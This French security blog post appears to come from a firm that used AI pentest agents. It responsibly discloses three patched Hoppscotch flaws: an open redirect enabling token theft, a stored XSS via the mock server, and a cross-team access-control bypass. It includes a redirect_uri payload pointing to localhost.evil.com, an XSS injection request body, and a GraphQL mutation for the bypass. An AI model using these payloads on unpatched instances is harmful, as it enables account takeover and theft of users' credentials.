Introduction
Hoppscotch est un écosystème open source dédié au développement d'API, similaire à Postman, qui compte plus de 100 000 utilisateurs par mois. Il y a deux semaines, nous avons mis en place une instance auto-hébergée et y avons exécuté nos agents de tests d'intrusion basés sur l'IA. Ceux-ci ont détecté deux vulnérabilités de gravité élevée et une vulnérabilité de gravité moyenne, toutes présentes dans les versions jusqu'à la version 2026.2.1 incluse, et toutes corrigées dans la version 2026.3.0 :
- Prise de contrôle de compte via une redirection ouverte permettant l'exfiltration de jetons d'authentification vers un domaine malveillant, ce qui permet à un attaquant de s'authentifier en tant que victime.
- XSS stocké via le serveur de simulation, où du code JavaScript injecté via un en-tête de réponse s'exécute dans le contexte de l'application Hoppscotch, ce qui confère à un attaquant un accès en lecture et en écriture à tout ce que la victime peut voir.
- contrôle d’accès défaillant flux de requêtes, permettant à un utilisateur d'une équipe d'injecter une requête dans la base de données d'une autre équipe. Si un membre de l'équipe cible exécute cette requête, des identifiants et des clés API peuvent être dérobés.
Ces trois vulnérabilités ont fait l'objet d'une divulgation responsable et ont été corrigées.
Remarque : Nous avons accidentellement regroupé une vulnérabilité XSS et un problème de contrôle d'accès dans un seul rapport. Alors que le texte de l'avis traite de la vulnérabilité XSS, les captures d'écran montrent en réalité la faille de contrôle d'accès, ce qui donne lieu à deux avis couvrant trois problèmes distincts.
Correction
Mettez à jour vos instances Hoppscotch auto-hébergées vers la version 2026.3.0 ou une version ultérieure.
Les vulnérabilités découvertes ont été ajoutées à la base de données Aikido :
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
Une redirection ouverte entraînant la prise de contrôle d'un compte
Avis : GHSA-7fg7-wx5q-6m3v
CVSS : 8,5 (Élevé)
Affected versions: Hoppscotch <= 2026.2.1
Versions corrigées : 2026.3.0
Hoppscotch dispose à la fois d'une interface Web et d'une application de bureau. Pour s'authentifier dans l'application de bureau, il faut ouvrir l'URL suivante dans le navigateur :
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
L'instance Hoppscotch utilise le paramètre de requête `redirect_uri` pour envoyer les jetons de session. C'est là que réside la vulnérabilité. Le back-end comportait la validation défectueuse suivante sur l'URI :
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
Le code vérifie si l'URI commence par http://localhost, mais cela ne tient pas compte du fait que des domaines malveillants comme http://localhost.evil.com réussit également ce test. Par conséquent, si une victime se rend sur :http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
Hoppscotch envoyait ses jetons de session à http://localhost.evil.com. Depuis localhost est un sous-domaine de celui de l'attaquant evil.com domaine, au lieu d'être dirigée vers localhost, la requête est acheminée vers le serveur de l'attaquant. Celui-ci pourrait alors utiliser ces jetons pour s'authentifier en tant que victime.
Nos agents ont identifié le problème dans le code source et l'ont vérifié en configurant un écouteur sur une adresse IP publique et en créant une charge utile à l'aide de sslip.io. En utilisant l'URI http://localhost.<attacker-ip>.sslip.io/, la charge utile a réussi à contourner la vérification « startsWith » tout en forçant le navigateur à résoudre l'adresse vers le serveur de l'attaquant. Une fois la victime authentifiée, les jetons de session sensibles ont été directement transmis à notre écouteur, confirmant qu'une prise de contrôle totale du compte était possible.
La demande de modification suivante a permis de corriger la vulnérabilité grâce à l'utilisation d'un analyseur d'URL adapté : https://github.com/hoppscotch/hoppscotch/pull/6012
XSS stocké via un serveur fictif
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
Hoppscotch intègre une fonctionnalité de serveur fictif qui renvoie des réponses définies par l'utilisateur à partir d'URL situées sous /mock/<subdomain>/. Le serveur backend renvoie ces réponses depuis la même origine que l'application Hoppscotch, ce qui signifie qu'une attaque de type « cross-site scripting du MockServer peut être utilisée pour extraire et modifier les données des utilisateurs.
Pour injecter une charge utile XSS, les agents Aikido ont contourné les restrictions de l'interface utilisateur en envoyant une requête API GraphQL qui définit le Type de contenu en-tête de réponse à text/html. Cela n'était pas possible via l'interface utilisateur.
Exemple de corps de requête:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}La vulnérabilité XSS se déclenche dès que l'utilisateur accède au point de terminaison de l'API factice. Par exemple :
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus
Pour vérifier cela, les agents IA ont injecté une charge utile « console.log » dans le corps de la réponse via l'API GraphQL, contournant ainsi les restrictions relatives au type de contenu de l'interface utilisateur. Lors de l'accès au point de terminaison fictif concerné, le navigateur a exécuté le script, et les agents ont réussi à capturer la sortie enregistrée dans la console.
PR suivante PR cette vulnérabilité en ajoutant des mesures de nettoyage et de confinement via une politique de sécurité du contenu (CSP) :
https://github.com/hoppscotch/hoppscotch/pull/6006
Contrôle d'accès : transférer des demandes vers une autre équipe
Avis : GHSA-wj4r-hr4h-g98v
CVSS : 6,0 (moyen)
Affected versions: Hoppscotch <= 2026.2.1
Versions corrigées : 2026.3.0
Hoppscotch permet aux utilisateurs de déplacer ou de réorganiser les requêtes entre les collections à l'aide de la demande de transfert Mutation GraphQL. Les agents ont découvert que le backend ne validait pas correctement les autorisations pour la collection de destination, ce qui permettait à un attaquant d'« injecter » ses propres requêtes dans une collection appartenant à une autre équipe.
La vulnérabilité réside dans la logique de validation du backend : alors qu'il vérifie la requête d'origine, il omet de vérifier l'équipe de destination si le nextRequestID est défini sur null. En fournissant le destCollID de l'équipe de la victime et en quittant le nextRequestID Si cette faille n'est pas corrigée, un attaquant peut réussir à faire transiter une requête au-delà des limites d'un tenant :
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
Cela peut avoir des répercussions sur la confidentialité si un membre de l'équipe victime exécute, à son insu, la requête injectée ou la collection parente. Dans ce cas, si ces requêtes héritent d'en-têtes d'autorisation ou contiennent des variables de remplacement (par exemple, des clés API), les données sensibles pourraient être exfiltrées vers le serveur de l'attaquant.
Vous trouverez ci-dessous les traces des agents ayant identifié la vulnérabilité :
Analyse des relations entre les identifiants d'équipe - Je me demande si les requêtes peuvent appartenir à des collections de différentes équipes sans modifier le teamID. Cela pourrait enfreindre la contrainte de clé étrangère si la collection est liée à une autre équipe. Le modèle TeamRequest relie probablement les collections par ID sans imposer strictement que teamID corresponde à collection.teamID. Dans createTeamRequest, ils vérifient bien que l'ID de l'équipe correspond. Cependant, si le déplacement d'une requête met uniquement à jour collectionID sans modifier teamID, je dois vérifier le Prisma pour clarifier la structure de ces relations. Cherchons le schéma dans le répertoire approprié.
Identification des problèmes liés au contrôle d'accès - Je me rends compte que le garde vérifie uniquement si un utilisateur est membre de l'équipe associée à requestID et ignore les autorisations de l'équipe de la collection de destination. La fonction moveRequest est protégée par GqlRequestTeamMemberGuard pour des rôles tels que Editor ou Owner, mais elle n'inclut pas de vérifications pour GqlCollectionTeamMemberGuard sur destCollID. Cela signifie qu'un éditeur de l'équipe A pourrait déplacer une requête vers la collection de l'équipe B sans en être membre, ce qui crée une grave vulnérabilité en matière de contrôle d'accès.
Révision du traitement des requêtes - J'ai besoin de confirmer ma compréhension des méthodes findRequestAndNextRequest et reorderRequests. Dans findRequestAndNextRequest, le système vérifie que la requête existe dans srcCollID. Si nextRequestID est fourni, il s'assure que nextRequest appartient à la même collection et à la même équipe. Cependant, si nextRequestID est nul, il ignore la vérification de la propriété de l'équipe de destCollID.
Dans reorderRequests, la fonction verrouille les collections src et dest par request.teamID. Mais si destCollID appartient à une autre équipe, elle procède tout de même aux mises à jour sans effectuer les vérifications d'équipe appropriées, ce qui pourrait entraîner des problèmes.
PR suivante PR la vulnérabilité en ajoutant un contrôle d'autorisation :
https://github.com/hoppscotch/hoppscotch/pull/6006
Remerciements à TristanInSec, qui avait également identifié cette vulnérabilité XSS de manière indépendante.
Pour en savoir plus sur nos recherches en matière de tests d'intrusion basés sur l'IA :
- SvelteSpill : une faille de tromperie de cache dans SvelteKit + Vercel
- PromptPwnd : vulnérabilités d'injection de prompt dans GitHub Actions à l'aide d'agents IA
Découvrez comment fonctionnent nos agents de tests d'intrusion basés sur l'IA:
- Comment nous garantissons la sécurité de nos agents IA dès leur conception:
- pentest autonome entre pentest autonome et les tests d'intrusion manuels
